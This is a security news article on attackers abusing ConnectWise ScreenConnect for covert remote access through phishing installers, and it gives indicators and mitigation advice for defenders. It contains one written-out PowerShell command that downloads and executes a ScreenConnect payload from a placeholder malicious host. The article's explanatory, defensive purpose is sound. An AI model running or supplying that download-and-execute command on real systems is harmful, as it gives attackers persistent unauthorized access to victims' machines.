Threat Actors Exploit ScreenConnect to Gain Unauthorized Remote Access
Recent analyses have identified an increase in the misuse of remote management and monitoring (RMM) tools. Threat actors are increasingly using these tools to gain initial access, prompting a reevaluation of platforms that were traditionally intended for…
Recent analyses have identified an increase in the misuse of remote management and monitoring (RMM) tools. Threat actors are increasingly using these tools to gain initial access, prompting a reevaluation of platforms that were traditionally intended for legitimate IT administration purposes.
While AnyDesk has seen a decline in usage among cybercriminals due to enhanced detection measures, ConnectWise ScreenConnect has become a favored tool for covert intrusions and maintaining persistence within compromised systems.
RMM solutions provide features such as unattended control, scripting capabilities, file transfers, and session logging. These functionalities are attractive to both system administrators and malicious actors.
Attackers often employ phishing methods to direct victims to custom ScreenConnect installers or invite links generated through the management console. These phishing pages can appear as trusted support portals, deploying .msi installers that primarily execute in memory, leaving minimal traces on disk.
For instance, a PowerShell command can install the ScreenConnect agent without writing the full payload to disk:
powershell iex (New-Object Net.WebClient).DownloadString('https://malicious.test/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest')
Upon execution, the agent registers as a Windows service, allowing persistent remote access under the guise of legitimate IT maintenance.
Recent analyses have identified an increase in the misuse of remote management and monitoring (RMM) tools.
ScreenConnect operates across multiple platforms, including Windows, macOS, Linux, iOS, and Android, facilitating cross-platform control. After the initial .msi installer is launched from a temporary directory, the agent installs a client binary at:
C:\Program Files (x86)\ScreenConnect Client (<hash>)\ScreenConnect.WindowsClient.exe
This executable uses configuration files located in the system profile’s AppData folder, mapping custom access URLs to IPs and encrypted launch keys.
Malicious actors leverage the console's Build+ option to create custom installers or invite links, enabling staged deployment for victims. The flexibility of these tools presents a significant phishing threat.
During post-deployment, certain event IDs signal a new remote access session, and file transfers create directories under the victim's Documents folder:
C:\Users\Kh4lifa\Documents\ConnectWiseControl\Files
Defenders should monitor the ScreenConnect agent binary and its configuration files for potential threats. Look for unexpected MSI executions in temporary directories and services named ScreenConnect.WindowsClient.exe.
Organizations can mitigate risks by limiting access to RMM consoles, enforcing multifactor authentication, rotating API keys, and restricting custom builder generation to authorized personnel.
Memory snapshots are crucial for uncovering in-memory chat logs and transient keys. Incident response teams should validate DNS resolutions and IP addresses found in configuration files, as these may indicate command-and-control infrastructure.
Email gateways and web proxies should block recognized invite link patterns and scan downloaded .msi packages for anomalies. Detection rules for specific event IDs should be integrated into SIEM platforms to provide real-time alerts on suspicious remote sessions.
Understanding attacker techniques and indicators of compromise allows security teams to detect and prevent unauthorized access before it escalates into a breach.
Based on reporting by GBHackers.